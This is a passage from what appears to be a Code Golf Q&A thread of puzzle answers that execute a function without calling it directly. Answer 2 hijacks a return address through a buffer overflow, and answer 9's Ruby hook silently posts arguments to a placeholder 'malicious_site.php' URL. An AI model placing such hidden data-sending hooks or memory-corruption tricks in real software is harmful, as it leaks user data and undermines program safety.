Call a method without calling it

Question

Inspired by a now deleted StackOverflow question. Can you come up with a way to get a particular method executed, without explicitly calling it? The more indirect it is, the better.

Here's what I mean, exactly (C used just for exemplification, all languages accepted):

// Call this.
void the_function(void)
{
    printf("Hi there!\n");
}

int main(int argc, char** argv)
{
    the_function(); // NO! Bad! This is a direct call.
    return 0;
}

Original question:

Answer 1

C

#include <stdio.h>

int puts(const char *str) {
  fputs("Hello, world!\n", stdout);
}

int main() {
  printf("Goodbye!\n");
}

When compiled with GCC, the compiler replaces printf("Goodbye!\n") with puts("Goodbye!"), which is simpler and is supposed to be equivalent. I've sneakily provided my custom puts function, so that gets called instead.

Answer 2

Well, how is malware able to execute functions that aren't called in the code? By overflowing buffers!

#include <stdio.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    void (*temp[1])();         // This is an array of 1 function pointer
    temp[3] = &the_function;   // Writing to index 3 is technically undefined behavior
}

On my system, the return address of main happens to be stored 3 words above the first local variable. By scrambling that return address with the address of another function, main "returns" to that function. If you want to reproduce this behavior on another system, you might have to tweak 3 to another value.

Answer 3

Bash

#!/bin/bash

function command_not_found_handle () {
    echo "Who called me?"
}

Does this look like a function call to you?

Answer 4

Python 2

>>> def func(*args):
        print('somebody called me?')

Here are some ways inspired by the other answers:

1. executing the code directly

   >>> exec(func.func_code) # just the code, not a call
   somebody called me?
   

   This is the best way of really not calling the function.

2. using the destructor

   >>> class X(object):pass
   >>> x = X()
   >>> X.__del__ = func # let  the garbage collector do the call
   >>> del x
   somebody called me?
   

3. Using the std I/O

   >>> x.write = func # from above
   >>> import sys
   >>> a = sys.stderr
   >>> sys.stderr = x
   >>> asdjkadjls
   somebody called me?
   somebody called me?
   somebody called me?
   somebody called me?
   somebody called me?
   >>> sys.stderr = a # back to normality
   

4. using attribute lookups

   >>> x = X() # from above
   >>> x.__get__ = func
   >>> X.x = x
   >>> x.x # __get__ of class attributes
   somebody called me?
   <__main__.X object at 0x02BB1510>
   >>> X.__getattr__ = func
   >>> x.jahsdhajhsdjkahdkasjsd # nonexistent attributes
   somebody called me?
   >>> X.__getattribute__ = func
   >>> x.__class__ # any attribute
   somebody called me?
   

5. The import mechanism

   >>> __builtins__.__import__ = func
   >>> import os # important module!
   somebody called me?
   >>> os is None
   True
   

   Well I guess that's all.. I can not import anything now. No wait..

6. Using the get-item brackets []

   >>> class Y(dict): pass
   >>> Y.__getitem__ = func
   >>> d = Y()
   >>> d[1] # that is easy
   somebody called me?
   

7. Using global variables. My favorite!

   >>> exec "hello;hello" in d # from above
   somebody called me?
   somebody called me?
   

   hello is an access to d['hello']. After this the world seems gray.

8. Meta classes ;)

   >>> class T(type): pass
   >>> T.__init__ = func
   >>> class A:
       __metaclass__ = T
   somebody called me?
   

9. Using iterators (you can overload any operator and use it)

   >>> class X(object): pass
   >>> x = X()
   >>> X.__iter__ = func
   >>> for i in x: pass # only once with error
   somebody called me?
   
   >>> X.__iter__ = lambda a: x 
   >>> X.next = func
   >>> for i in x: pass # endlessly!
   somebody called me?
   somebody called me?
   somebody called me?
   ...
   

10. Errors!

    >>> class Exc(Exception):__init__ = func
    >>> raise Exc # removed in Python 3
    somebody called me?
    

11. Frameworks call you back. Almost every GUI has this functionality.

    >>> import Tkinter
    >>> t = Tkinter.Tk()
    >>> t.after(0, func) # or QTimer.singleShot(1000, func)
    >>> t.update()
    somebody called me?
    

12. Execute the source string (func must be in a file)

    >>> import linecache
    >>> exec('if 1:' + '\n'.join(linecache.getlines(func.func_code.co_filename, func.func_globals)[1:]))
    somebody called me?
    

13. Decorators

    >>> @func
    def nothing():pass
    sombody called me?
    

14. with pickle de-serialization (least favorites coming)

    >>> import pickle # serialization
    >>> def __reduce__(self):
        return func, ()
    >>> X.__reduce__ = __reduce__
    >>> x = X()
    >>> s = pickle.dumps(x)
    >>> pickle.loads(s) # this is a call but it is hidden somewhere else
    somebody called me?
    

15. Using serialization

    >>> import copy_reg
    >>> copy_reg.pickle(X, func)
    >>> pickle.dumps(x) # again a hidden call
    somebody called me?
    

More Python answers:

• using settrace
• using hasattr
• combining globals() and __call__ indirectly
• with reprlib

Answer 5

Python

import sys

def the_function(*void):
    print 'Hi there!'

sys.setprofile(the_function)

This sets the_function as the profiling function, causing it to be executed on each function call and return.

>>> sys.setprofile(the_function)
Hi there!
>>> print 'Hello there!'
Hi there!
Hi there!
Hi there!
Hi there!
Hi there!
Hello there!
Hi there!

Answer 6

Javascript

This one uses JSFuck to do the dirty work.

function x() { alert("Hello, you are inside the x function!"); }

// Warning: JSFuck Black magic follows.
// Please, don't even try to understand this shit.
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]
+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][
(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!
![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[
]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+
(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!!
[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+
[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(!
[]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![
]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[
+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!
+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((+(+
!+[]+[+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]
]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+
[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[]
)[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+
[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[
])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[
+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[
]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!
+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+
([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])
[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[]
[[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[
!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]
])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+
!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[
+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+
[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+
[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[
!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!
+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+
(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[
]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]
]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]
]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[
]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]
+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+
[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]+!+[]+!+[]])[+!+[]]+(![]+[][(![]+
[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[
])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[
+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[]
)[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[
+!+[]]])[!+[]+!+[]+[+[]]])()

Answer 7

C#

We can abuse the DLR to always execute some code whenever you try to call any method on a class. This is slightly less cheap/obvious than solutions like delegates, reflections, static constructors, etc., because the method being executed is not only never invoked but never even referenced, not even by its name.

void Main()
{
    dynamic a = new A();
    a.What();
}

class A : DynamicObject
{
    public override bool TryInvokeMember(InvokeMemberBinder binder, Object[] args,
        out Object result)
    {
        Console.WriteLine("Ha! Tricked you!");
        result = null;
        return true;
    }
}

This always prints "Ha! Tricked you!" no matter what you try to invoke on a. So I could just as easily write a.SuperCaliFragilisticExpiAlidocious() and it would do the same thing.

Answer 8

GNU C

#include <stdio.h>
#include <stdlib.h>

void hello_world() {
  puts(__func__);
  exit(0);
}

int main() {
  goto *&hello_world;
}

This is very direct, but is certainly not a call to hello_world, even though the function does execute.

Answer 9

Ruby

Inspired by wat.

require 'net/http'

def method_missing(*args) 
    # some odd code        
    http.request_post ("http://example.com/malicious_site.php", args.join " ")
    args.join " "
end

ruby has bare words
# => "ruby has bare words"

Answer 10

C

You can register a function to be called at the end of the program in C, if that fits your needs:

#include <stdio.h>
#include <stdlib.h>

void the_function()
{
    puts("How did I get here?");
}

int main()
{
    atexit(&the_function);
}

Answer 11

Java

Tried this with java:

import java.io.PrintStream;
import java.lang.reflect.Method;

public class CallWithoutCalling {
    public static class StrangeException extends RuntimeException {
        @Override
        public void printStackTrace(PrintStream s) {
            for (Method m : CallWithoutCalling.class.getMethods()) {
                if ("main".equals(m.getName())) continue;
                try {
                    m.invoke(null);
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    public static void secretMethodNotCalledInMain() {
        System.out.println("Congratulations, you won a million dollars!");
    }

    public static void main(String[] args) {
        throw new StrangeException();
    }
}

The method secretMethodNotCalledInMain is called only by reflection, and I am not searching for anything called secretMethodNotCalledInMain (instead I am searching for anything not called main). Further, the reflective part of code is called outside the main method when the JDK's uncaught exception handler kicks in.

Here is my JVM info:

C:\>java -version
java version "1.8.0-ea"
Java(TM) SE Runtime Environment (build 1.8.0-ea-b109)
Java HotSpot(TM) 64-Bit Server VM (build 25.0-b51, mixed mode)

Here is the output of my program:

Congratulations, you won a million dollars!
Exception in thread "main" java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
java.lang.NullPointerException
    at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
    at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
    at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
    at java.lang.reflect.Method.invoke(Method.java:491)
    at CallWithoutCalling$StrangeException.printStackTrace(CallWithoutCalling.java:12)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1061)
    at java.lang.ThreadGroup.uncaughtException(ThreadGroup.java:1052)
    at java.lang.Thread.dispatchUncaughtException(Thread.java:1931)
Java Result: 1

I was not expecting those NullPointerExceptions being thrown from the native code to handle reflection. But, as mentioned by @johnchen902 that is because it inherits some methods from java.lang.Object and I ended up calling them on nulls.

Answer 12

C++

One way in C++ is in the constructor and/or destructor of a static object:

struct foo { 
    foo() { printf("function called"); }
    ~foo() { printf("Another call"); }
}f;

int main() { }

Answer 13

C: Hello World

#include <stdio.h>
void donotuse(){
   printf("How to use printf without actually calling it?\n");
}
int main(){
    (*main-276)("Hello World\n");
}

Output:

Hello World!

In order to link the method, we need printf() to be compiled somewhere in the program, but it does not have to actually be called. The printf() and main() functions are located 276 bytes apart from each other in the code segment. This value will change based on OS and compiler. You can find the actual addresses on your system with this code and then just subtract them:

printf("%d %d\n", &printf, &main);

Answer 14

C (with GCC inline asm)

#include <stdio.h>
#include <stdlib.h>

/* prevent GCC optimising it away */
void the_function(void) __attribute__((__noreturn__, __used__));

int
main(void)
{
    asm volatile (".section fnord");
    return (1);
}

void
the_function(void)
{
    asm volatile (".text");
    printf("Hi there!\n");
    exit(0);
}

This will cause some GCC-emitted code to end up in a different segment of the object file, effectively making control flow “fall through” the_function. Note that this does not work if GCC decides to reorder the functions, obviously. Tested with GCC 3.4.6 on MirBSD-current/i386, using -O2. (Also, it breaks debugging, compiling with -g errors out ☺)

Answer 15

PHP ≥5.4.0

This solution is admittedly a horrid mess, but it performs the task given to it (there was no stipulation how well it has to perform).

The function to call without calling:

function getRandomString( $len = 5 )
{
    $chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM1234567890";
    $string = "";

    for( $i = 0; $i < $len; ++$i )
    {
        $idx = mt_rand( 0, strlen( $chars ) - 1 );
        $string .= $chars[$idx];
    }

    return $string;
}

The solution:

function executeFunction( $name, $args = [ ] )
{
    global $argv;

    $code = file_get_contents( $argv[0] );
    $matches = [];
    $funcArgs = "";
    $funcBody = "";

    if( preg_match( "~function(?:.*?){$name}(?:.*?)\(~i", $code, $matches ) )
    {
        $idx = strpos( $code, $matches[0] ) + strlen( substr( $matches[0], 0 ) );

        $parenNestLevel = 1;
        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

Example:

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

Possible outputs:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

Explanation:

When called, executeFunction() will read the contents of the currently executing file (which means this is only meant to be run from CLI, as it uses $argv), parse out the arguments and body of the specified function, hack everything back together into a new chunk of code, eval() it all, and return the result. The result being that getRandomString() is never actually called, either directly or indirectly, but the code in the function body is still executed.

Answer 16

Perl

sub INIT {
    print "Nothing to see here...\n";
}

Yes, that's all there is to it. Not all subroutines are created equal.

Answer 17

T-SQL

It's a built in feature. Triggers for the win!

If you really want to have fun with it, create a bunch of INSTEAD OF triggers on April Fool's Day.

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

Results:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

Very prank. Such lulz. Wow.

Tinker wid it on SQLFiddle.

Answer 18

JavaScript

In Firefox console:

    this.toString = function(){alert('Wow')};

Then just start typing anything in console - Firefox calls .toString() multiple times when you're typing in console.

Similar approach is:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

Answer 19

C

Platform of choice is Linux. We can't call our function, so we'll have our linker do it instead:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

How to obtain the magic address?

We're relying on the Linux Standard Base Core Specification, which says:

.fini_array

This section holds an array of function pointers that contributes to a single termination array for the executable or shared object containing the section.

1. Compile the code:

   gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

2. Examine the address of .fini_array:

   objdump -h -j .fini_array but_for_what_reason_exactly

3. Find the VMA of it:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

and replace that value for ADDRESS.

Answer 20

Haskell

In haskell if you do:

main=putStrLn "This is the main action."

It will get executed immediately without calling its name when you run it. Magic!

Answer 21

VB6 and VBA

Not sure if this qualifies or not, because it is calling a method of a class:

This goes in a class module:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

And this is the "calling" code:

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

This works by swapping the function vptr's for the two Subs in the vtable for the class.

Answer 22

Javascript

Easy, just use on___ events in JS. For example:

var img = document.createElement('img')
img.onload = func
img.src = 'http://placehold.it/100'

Answer 23

Java

Other java answer from me. As you see in the code, it directly calls theCalledMethod, but the method notCalledMethod is executed instead.

So, in the end I am doing 2 things:

• Calling a method without calling it.
• Not calling a method by calling it.

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

Running it:

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

Answer 24

Objective-C

(Probably only if compiled with clang on Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

This code uses several tricks to get to the unused function. First is the value 0x2A27. This is a tagged pointer for the integer 42, which encodes the value in the pointer to avoid allocating an object.

Next is MyClass. It is never used, but the runtime calls the +load method when it is loaded, before main. This dynamically creates and registers a new class, using NSValue as its superclass. It also adds a +load method for that class, using MyClass's -unusedMethod as the implementation. After registration, it calls the load method on the new class (for some reason it isn't called automatically).

Since the new class's load method uses the same implementation as unusedMethod, that is effectively called. It takes the superclass of itself, and adds unusedFunction as an implementation for that class's doesNotRecognizeSelector: method. This method was originally an instance method on MyClass, but is being called as a class method on the new class, so self is the new class object. Therefore, the superclass is NSValue, which is also the superclass for NSNumber.

Finally, main runs. It takes the pointer value and sticks it in a NSString * variable (the __bridge and first cast to void * allow this to be used with or without ARC). Then, it tries to call stringByAppendingString: on that variable. Since it is actually a number, which does not implement that method, the doesNotRecognizeSelector: method is called instead, which travels up through the class hierarchy to NSValue where it is implemented using unusedFunction.

---

Note: the incompatibility with other systems is due to the tagged pointer usage, which I do not believe has been implemented by other implementations. If this were replaced with a normally created number the rest of the code should work fine.

Answer 25

Python

class Snake:

    @property
    def sneak(self):
        print("Hey, what's this box doing here!")
        return True

solid = Snake()

if hasattr(solid, 'sneak'):
    print('Solid Snake can sneak')

Answer 26

Java

Yay, garbage collection!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

---

A version for those who will inevitably say that System.gc() is unreliable:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

Answer 27

C++

In C++, if an exception is thrown during stack unwinding caused by an earlier exception which is still underway, program execution is stopped by calling a customizable terminate handler:

#include <iostream>
#include <exception>

void the_function()
{
    std::cout << "How did I get here?\n";
}

struct X
{
    ~X()
    {
        throw 2;
    }
};

int main()
{
    std::set_terminate(the_function);
    try
    {
        X x;
        throw 1;
    }
    catch (...)
    {
        std::cout << "Can't catch this!\n";
    }
}

Answer 28

Javascript

I feel like this doesn't explicitly look like it is calling the function

window["false"] =  function() { alert("Hello world"); }
window[![]]();

Answer 29

C# (via using)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

Answer 30

Java

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

